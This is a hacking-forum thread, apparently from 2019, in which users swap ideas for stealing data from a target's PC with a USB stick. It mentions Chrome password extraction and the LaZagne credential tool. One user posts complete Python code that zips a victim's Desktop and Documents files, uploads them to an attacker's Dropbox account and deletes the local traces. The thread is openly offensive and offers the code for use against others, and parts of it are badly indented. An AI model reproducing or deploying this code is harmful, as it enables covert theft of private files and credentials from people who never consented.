(Dec 7, 2019 12:27 PM)gurlhackerclub Wrote:  I have done something similar.  I just zip up txt, doc, and xls files from documents folder and desktop.  Then send them to a dropbox account.  I will post the code here if anybody asks me too.

Check out LaZagne on github.  Written in Python by the same guy that wrote pupy rat.  Extracts hashes and wifi passwords.

Are you saving info off?   FTP server, Dropbox,  email?

(Dec 9, 2019 11:27 PM)gurlhackerclub Wrote:  here you go
Notice anyone debugging will find the api key.

Code

import os
import pathlib
from zipfile import ZipFile
import dropbox
from dropbox.files import WriteMode
from dropbox.exceptions import ApiError, AuthError


#zip documents and desktop folder and send to dropbox
#need to import dropbox

def sendlog(sendfile):
    dbx=dropbox.Dropbox('your api key here')
    full_path = os.getcwd()
    drive, file_path = os.path.splitdrive(full_path)
    print(file_path)
    file_name=file_path+"/"+sendfile
    p = pathlib.PureWindowsPath(file_name)
    droppath=(p.as_posix())
    print('sending '+droppath)
    with open(droppath, 'rb') as f:
       dbx.files_upload(f.read(),droppath,mute=True) # The change from f to f.read() was made to comply with the late-2016 change in the API.
    os.remove(sendfile)

if __name__ == '__main__':
    deskpath = (os.path.expanduser('~')) + "/Desktop/"
    for dirName, subdirList, fileList in os.walk(deskpath):
        for fname in fileList:
            filename, file_extension = os.path.splitext(fname)
            if (file_extension == ".txt" or
            file_extension == ".xls" or
            file_extension == ".doc" or
            file_extension == ".docx"):
            with ZipFile('desktop.zip','a') as zip:
                     zip.write(dirName+"/"+fname)
                     print (dirName+"/"+fname)
    sendfile = 'desktop.zip'
    sendlog(sendfile)
    documents = (os.path.expanduser('~')) + "/Documents/"
    for dirName, subdirList, fileList in os.walk(documents):
        for fname in fileList:
            filename, file_extension = os.path.splitext(fname)
            if (file_extension == ".txt" or
            file_extension == ".xls" or
            file_extension == ".doc" or
            file_extension == ".docx"):
            with ZipFile('documents.zip','a') as zip:
                     zip.write(dirName+"/"+fname)
                     print (dirName+"/"+fname)
    sendfile = 'documents.zip'
    sendlog(sendfile)

(Dec 4, 2019 12:47 PM)chaozu Wrote:  So I am getting into Python and am writing my first "grey/black hat" script, if you could call it like that.

It's just a little script that you put on a USB or bad USB stick and run the .exe on the your desired target.
It extracts the users saved Chrome browser passwords, and lists the browser history and downloads.

It's very simple, but a fun start for a beginner like me.

Now I am wondering, what other fun things you can do with Python. I know how to write a Python Keylogger and Reverse Shell, but I am more looking into things you can steal or rip from the target computer. Like you have access of the targets computer for 1 min and just an USB stick with your script.

How much valuable information can one extract with Python?

Any ideas?

(Dec 4, 2019 12:47 PM)chaozu Wrote:  How much valuable information can one extract with Python?

Any ideas?

(Dec 22, 2019 02:07 AM)hinstera Wrote:  Are you sure chrome password can be stolen? it seems like you get additional four digit codes to access those passwords in chrome.

(Dec 22, 2019 09:24 AM)chaozu Wrote:  Thank you for your input everyone. Really appreciate it.


Yes sure. You just have to make sure that chrome is closed so you are able to access the sqlite db.
I will be happy to share my code when I get back from holidays.

Just got the compiled .exe with me, so I am not sure if that's of any use for you.

(Dec 22, 2019 11:55 PM)hinstera Wrote:  Interesting...